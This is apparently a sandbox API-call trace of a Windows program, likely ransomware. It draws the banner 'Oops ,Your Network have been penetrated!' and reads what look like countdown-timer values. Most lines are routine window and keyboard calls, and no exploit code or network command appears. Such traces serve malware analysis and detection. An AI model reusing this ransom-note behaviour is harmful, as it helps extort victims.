[0286.856] DrawTextExW (in: hdc=0xffffffffa80107be, lpchText="Oops ,Your Network have been penetrated!", cchText=40, lprc=0x2ebce8, format=0x0, lpdtp=0x27fea18 | out: lpchText="Oops ,Your Network have been penetrated!", lprc=0x2ebce8) returned 25
[0286.859] RestoreDC (hdc=0xffffffffa80107be, nSavedDC=-1) returned 1
[0286.859] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xffffffffa80107be) returned 0x0
[0286.859] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebf88) returned 0x0
[0286.860] BitBlt (hdc=0x2010b40, x=0, y=0, cx=419, cy=25, hdcSrc=0xffffffffa80107be, x1=0, y1=0, rop=0xcc0020) returned 1
[0286.860] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xffffffffa80107be) returned 0x0
[0286.860] SelectPalette (hdc=0x2010b40, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.860] SelectObject (hdc=0xffffffffa80107be, h=0x185000f) returned 0xc0507c1
[0286.861] DeleteDC (hdc=0xffffffffa80107be) returned 1
[0287.841] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0287.947] EndPaint (hWnd=0x102be, lpPaint=0x2ebf68) returned 1
[0287.986] CallWindowProcW (lpPrevWndFunc=0x7fef6d41d50, hWnd=0x102c8, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0
[0287.987] CallWindowProcW (lpPrevWndFunc=0x7fef6d41d50, hWnd=0x102c8, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0287.992] CallWindowProcW (lpPrevWndFunc=0x7fef6d41d50, hWnd=0x102c8, Msg=0x14, wParam=0x1010a48, lParam=0x0) returned 0x1
[0287.994] SendMessageW (hWnd=0x102c8, Msg=0x2111, wParam=0x40002c8, lParam=0x102c8) returned 0x0
[0287.994] SendMessageW (hWnd=0x102c8, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0
[0287.994] CallWindowProcW (lpPrevWndFunc=0x7fef6d41d50, hWnd=0x102c8, Msg=0xb8, wParam=0x0, lParam=0x0) returned 0x0
[0288.022] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x11f, wParam=0x2083f120, lParam=0xa012b) returned 0x0
[0288.024] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0288.025] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0288.027] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0
[0288.029] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x11f, wParam=0xffff0000, lParam=0x0) returned 0x0
[0288.029] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x212, wParam=0x0, lParam=0x0) returned 0x0
[0288.032] GetWindowPlacement (in: hWnd=0x4015e, lpwndpl=0x2ec2b8 | out: lpwndpl=0x2ec2b8) returned 1
[0288.032] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x47, wParam=0x0, lParam=0x2ec6e0) returned 0x0
[0288.032] GetClientRect (in: hWnd=0x4015e, lpRect=0x2ec150 | out: lpRect=0x2ec150) returned 1
[0288.032] GetWindowRect (in: hWnd=0x4015e, lpRect=0x2ec150 | out: lpRect=0x2ec150) returned 1
[0288.035] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1
[0288.037] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x84, wParam=0x0, lParam=0x20d01e5) returned 0x1
[0288.037] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.038] IsWindowUnicode (hWnd=0x102b6) returned 1
[0288.038] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.040] GetKeyState (nVirtKey=16) returned 0
[0288.040] GetKeyState (nVirtKey=17) returned 0
[0288.040] GetKeyState (nVirtKey=18) returned 0
[0288.040] TranslateMessage (lpMsg=0x2eec80) returned 1
[0288.041] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.041] GetKeyState (nVirtKey=16) returned 0
[0288.041] GetKeyState (nVirtKey=17) returned 0
[0288.041] GetKeyState (nVirtKey=18) returned 0
[0288.041] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x101, wParam=0xd, lParam=0xc01c0001) returned 0x0
[0288.041] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.041] IsWindowUnicode (hWnd=0x102b6) returned 1
[0288.041] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.041] GetKeyState (nVirtKey=16) returned 0
[0288.041] GetKeyState (nVirtKey=17) returned 0
[0288.041] GetKeyState (nVirtKey=18) returned -127
[0288.041] SendMessageW (hWnd=0x102b6, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1
[0288.041] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1
[0288.041] GetKeyState (nVirtKey=16) returned 0
[0288.041] GetKeyState (nVirtKey=17) returned 0
[0288.041] GetKeyState (nVirtKey=18) returned -127
[0288.043] RtlLookupFunctionEntry (in: ControlPc=0x7fef3611dc2, ImageBase=0x2ec7e8, HistoryTable=0x0 | out: ImageBase=0x2ec7e8, HistoryTable=0x0) returned 0x7fef3e7ee64
[0288.048] TranslateMessage (lpMsg=0x2eec80) returned 1
[0288.048] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.048] GetKeyState (nVirtKey=16) returned 0
[0288.048] GetKeyState (nVirtKey=17) returned 0
[0288.048] GetKeyState (nVirtKey=18) returned -127
[0288.048] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0
[0288.048] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.048] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x84, wParam=0x0, lParam=0x20d01e5) returned 0x1
[0288.048] IsWindowUnicode (hWnd=0x2029e) returned 1
[0288.048] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.048] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x84, wParam=0x0, lParam=0x20d01e5) returned 0x1
[0288.049] SetCursor (hCursor=0x10003) returned 0x10003
[0288.049] TranslateMessage (lpMsg=0x2eec80) returned 0
[0288.049] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.049] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x200, wParam=0x0, lParam=0x140088) returned 0x0
[0288.049] GetKeyState (nVirtKey=1) returned 0
[0288.049] GetKeyState (nVirtKey=2) returned 0
[0288.049] GetKeyState (nVirtKey=4) returned 0
[0288.049] GetKeyState (nVirtKey=5) returned 0
[0288.049] GetKeyState (nVirtKey=6) returned 0
[0288.049] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.049] IsWindowUnicode (hWnd=0x102b6) returned 1
[0288.049] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.049] GetKeyState (nVirtKey=16) returned 0
[0288.049] GetKeyState (nVirtKey=17) returned 0
[0288.049] GetKeyState (nVirtKey=18) returned -128
[0288.049] TranslateMessage (lpMsg=0x2eec80) returned 1
[0288.049] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.049] GetKeyState (nVirtKey=16) returned 0
[0288.049] GetKeyState (nVirtKey=17) returned 0
[0288.049] GetKeyState (nVirtKey=18) returned -128
[0288.049] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0
[0288.049] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.049] IsWindowUnicode (hWnd=0x102b6) returned 1
[0288.049] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.049] GetKeyState (nVirtKey=16) returned 0
[0288.049] GetKeyState (nVirtKey=17) returned 0
[0288.049] GetKeyState (nVirtKey=18) returned 0
[0288.049] TranslateMessage (lpMsg=0x2eec80) returned 1
[0288.049] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.050] GetKeyState (nVirtKey=16) returned 0
[0288.050] GetKeyState (nVirtKey=17) returned 0
[0288.050] GetKeyState (nVirtKey=18) returned 0
[0288.050] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0
[0288.050] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.050] IsWindowUnicode (hWnd=0x102b6) returned 1
[0288.050] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.050] GetKeyState (nVirtKey=16) returned 0
[0288.050] GetKeyState (nVirtKey=17) returned 0
[0288.050] GetKeyState (nVirtKey=18) returned -127
[0288.050] SendMessageW (hWnd=0x102b6, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1
[0288.050] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1
[0288.050] GetKeyState (nVirtKey=16) returned 0
[0288.050] GetKeyState (nVirtKey=17) returned 0
[0288.050] GetKeyState (nVirtKey=18) returned -127
[0288.052] TranslateMessage (lpMsg=0x2eec80) returned 1
[0288.052] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.052] GetKeyState (nVirtKey=16) returned 0
[0288.052] GetKeyState (nVirtKey=17) returned 0
[0288.052] GetKeyState (nVirtKey=18) returned -127
[0288.052] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0
[0288.052] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.052] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x84, wParam=0x0, lParam=0x20d01e5) returned 0x1
[0288.052] IsWindowUnicode (hWnd=0x2029e) returned 1
[0288.052] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.052] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x84, wParam=0x0, lParam=0x20d01e5) returned 0x1
[0288.052] SetCursor (hCursor=0x10003) returned 0x10003
[0288.052] TranslateMessage (lpMsg=0x2eec80) returned 0
[0288.052] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.052] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x200, wParam=0x0, lParam=0x140088) returned 0x0
[0288.052] GetKeyState (nVirtKey=1) returned 0
[0288.053] GetKeyState (nVirtKey=2) returned 0
[0288.053] GetKeyState (nVirtKey=4) returned 0
[0288.053] GetKeyState (nVirtKey=5) returned 0
[0288.053] GetKeyState (nVirtKey=6) returned 0
[0288.053] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.053] IsWindowUnicode (hWnd=0x102b6) returned 1
[0288.053] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.053] GetKeyState (nVirtKey=16) returned 0
[0288.053] GetKeyState (nVirtKey=17) returned 0
[0288.053] GetKeyState (nVirtKey=18) returned -127
[0288.053] GetKeyState (nVirtKey=16) returned 0
[0288.053] GetKeyState (nVirtKey=17) returned 0
[0288.053] GetKeyState (nVirtKey=18) returned -127
[0288.055] TranslateMessage (lpMsg=0x2eec80) returned 1
[0288.055] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.055] GetKeyState (nVirtKey=16) returned 0
[0288.055] GetKeyState (nVirtKey=17) returned 0
[0288.055] GetKeyState (nVirtKey=18) returned -127
[0288.055] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x104, wParam=0x20, lParam=0x20390001) returned 0x0
[0288.055] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.055] IsWindowUnicode (hWnd=0x102b6) returned 1
[0288.055] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.055] GetKeyState (nVirtKey=16) returned 0
[0288.055] GetKeyState (nVirtKey=17) returned 0
[0288.055] GetKeyState (nVirtKey=18) returned -127
[0288.055] SendMessageW (hWnd=0x102b6, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x81
[0288.055] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x81
[0288.055] TranslateMessage (lpMsg=0x2eec80) returned 0
[0288.055] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.055] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x106, wParam=0x20, lParam=0x20390001) returned 0x0
[0288.055] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102ae, Msg=0x106, wParam=0x20, lParam=0x20390001) returned 0x0
[0288.055] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x106, wParam=0x20, lParam=0x20390001) returned 0x0
[0288.055] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x112, wParam=0xf100, lParam=0x20) returned 0x0
[0288.056] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x211, wParam=0x0, lParam=0x0) returned 0x0
[0288.056] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x20, wParam=0x4015e, lParam=0x2) returned 0x0
[0288.056] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x116, wParam=0xc0101, lParam=0x0) returned 0x0
[0288.056] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x11f, wParam=0x20900000, lParam=0xc0101) returned 0x0
[0288.056] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x117, wParam=0xa012b, lParam=0x10000) returned 0x0
[0288.056] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x93, wParam=0x0, lParam=0x2ec6f0) returned 0x1
[0288.068] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x11f, wParam=0x2083f120, lParam=0xa012b) returned 0x0
[0288.079] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0
[0288.079] GetCapture () returned 0x0
[0288.079] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x11f, wParam=0xffff0000, lParam=0x0) returned 0x0
[0288.079] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x212, wParam=0x0, lParam=0x0) returned 0x0
[0288.079] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1
[0288.080] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x84, wParam=0x0, lParam=0x20d01e5) returned 0x1
[0288.080] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.080] IsWindowUnicode (hWnd=0x102b6) returned 1
[0288.080] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.080] GetKeyState (nVirtKey=16) returned 0
[0288.083] GetKeyState (nVirtKey=17) returned 0
[0288.083] GetKeyState (nVirtKey=18) returned 1
[0288.083] TranslateMessage (lpMsg=0x2eec80) returned 1
[0288.083] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.083] GetKeyState (nVirtKey=16) returned 0
[0288.083] GetKeyState (nVirtKey=17) returned 0
[0288.083] GetKeyState (nVirtKey=18) returned 1
[0288.083] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x101, wParam=0xd, lParam=0xc01c0001) returned 0x0
[0288.083] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.083] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x84, wParam=0x0, lParam=0x20d01e5) returned 0x1
[0288.083] IsWindowUnicode (hWnd=0x2029e) returned 1
[0288.083] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.083] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x84, wParam=0x0, lParam=0x20d01e5) returned 0x1
[0288.083] SetCursor (hCursor=0x10003) returned 0x10003
[0288.084] TranslateMessage (lpMsg=0x2eec80) returned 0
[0288.084] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.084] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x200, wParam=0x0, lParam=0x140088) returned 0x0
[0288.084] GetKeyState (nVirtKey=1) returned 0
[0288.084] GetKeyState (nVirtKey=2) returned 0
[0288.084] GetKeyState (nVirtKey=4) returned 0
[0288.084] GetKeyState (nVirtKey=5) returned 0
[0288.084] GetKeyState (nVirtKey=6) returned 0
[0288.084] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.084] IsWindowUnicode (hWnd=0x102b6) returned 1
[0288.084] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.084] GetKeyState (nVirtKey=16) returned 0
[0288.084] GetKeyState (nVirtKey=17) returned 0
[0288.084] GetKeyState (nVirtKey=18) returned -127
[0288.084] SendMessageW (hWnd=0x102b6, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1
[0288.084] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1
[0288.084] GetKeyState (nVirtKey=16) returned 0
[0288.084] GetKeyState (nVirtKey=17) returned 0
[0288.084] GetKeyState (nVirtKey=18) returned -127
[0288.086] TranslateMessage (lpMsg=0x2eec80) returned 1
[0288.086] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.086] GetKeyState (nVirtKey=16) returned 0
[0288.086] GetKeyState (nVirtKey=17) returned 0
[0288.087] GetKeyState (nVirtKey=18) returned -127
[0288.087] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0
[0288.087] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.087] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x84, wParam=0x0, lParam=0x20d01e5) returned 0x1
[0288.087] IsWindowUnicode (hWnd=0x2029e) returned 1
[0288.087] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.087] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x84, wParam=0x0, lParam=0x20d01e5) returned 0x1
[0288.087] SetCursor (hCursor=0x10003) returned 0x10003
[0288.087] TranslateMessage (lpMsg=0x2eec80) returned 0
[0288.087] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.087] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x200, wParam=0x0, lParam=0x140088) returned 0x0
[0288.087] GetKeyState (nVirtKey=1) returned 0
[0288.087] GetKeyState (nVirtKey=2) returned 0
[0288.087] GetKeyState (nVirtKey=4) returned 0
[0288.087] GetKeyState (nVirtKey=5) returned 0
[0288.087] GetKeyState (nVirtKey=6) returned 0
[0288.087] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.087] IsWindowUnicode (hWnd=0x102b6) returned 1
[0288.087] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.087] GetKeyState (nVirtKey=16) returned 0
[0288.088] GetKeyState (nVirtKey=17) returned 0
[0288.088] GetKeyState (nVirtKey=18) returned -128
[0288.088] SendMessageW (hWnd=0x102b6, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1
[0288.088] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1
[0288.088] GetKeyState (nVirtKey=16) returned 0
[0288.088] GetKeyState (nVirtKey=17) returned 0
[0288.088] GetKeyState (nVirtKey=18) returned -128
[0288.089] TranslateMessage (lpMsg=0x2eec80) returned 1
[0288.089] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.089] GetKeyState (nVirtKey=16) returned 0
[0288.089] GetKeyState (nVirtKey=17) returned 0
[0288.089] GetKeyState (nVirtKey=18) returned -128
[0288.089] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0
[0288.089] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.090] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1
[0288.091] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x1c, wParam=0x0, lParam=0x9f4) returned 0x0
[0288.091] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x1c, wParam=0x0, lParam=0x9f4) returned 0x0
[0288.093] VirtualQuery (in: lpAddress=0x7fe9401dc80, lpBuffer=0x2edda0, dwLength=0x30 | out: lpBuffer=0x2edda0*(BaseAddress=0x7fe9401d000, AllocationBase=0x7fe94010000, AllocationProtect=0x1, __alignment1=0xfffff900, RegionSize=0x1000, State=0x1000, Protect=0x40, Type=0x20000, __alignment2=0x0)) returned 0x30
[0288.093] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0
[0288.094] SendMessageW (hWnd=0x102b6, Msg=0x2111, wParam=0x502b6, lParam=0x102b6) returned 0x0
[0288.094] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0
[0288.094] GetKeyboardLayout (idThread=0x0) returned 0x4090409
[0288.094] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0
[0288.095] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x84, wParam=0x0, lParam=0x20d01e5) returned 0x1
[0288.095] IsWindowUnicode (hWnd=0x2029e) returned 1
[0288.095] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.095] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x84, wParam=0x0, lParam=0x20d01e5) returned 0x1
[0288.095] SetCursor (hCursor=0x10003) returned 0x10003
[0288.095] TranslateMessage (lpMsg=0x2eec80) returned 0
[0288.095] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.095] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x200, wParam=0x0, lParam=0x140088) returned 0x0
[0288.095] GetKeyState (nVirtKey=1) returned 0
[0288.095] GetKeyState (nVirtKey=2) returned 0
[0288.095] GetKeyState (nVirtKey=4) returned 0
[0288.095] GetKeyState (nVirtKey=5) returned 0
[0288.095] GetKeyState (nVirtKey=6) returned 0
[0288.095] PeekMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.095] IsWindowUnicode (hWnd=0x70162) returned 1
[0288.095] GetMessageW (in: lpMsg=0x2eec80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2eec80) returned 1
[0288.095] TranslateMessage (lpMsg=0x2eec80) returned 0
[0288.095] DispatchMessageW (lpMsg=0x2eec80) returned 0x0
[0288.097] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0288.097] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0288.097] GetSystemMetrics (nIndex=42) returned 0
[0288.097] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ee320, nMaxCount=3 | out: lpString="24") returned 2
[0288.097] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ee320) returned 0x2
[0288.098] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0288.098] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0288.099] GetSystemMetrics (nIndex=42) returned 0
[0288.099] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ee320, nMaxCount=3 | out: lpString="59") returned 2
[0288.099] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ee320) returned 0x2
[0288.099] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0288.099] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0288.099] GetSystemMetrics (nIndex=42) returned 0
[0288.099] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ee320, nMaxCount=3 | out: lpString="46") returned 2
[0288.099] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ee320) returned 0x2
[0288.100] GetWindowTextLengthW (hWnd=0x2028a) returned 2
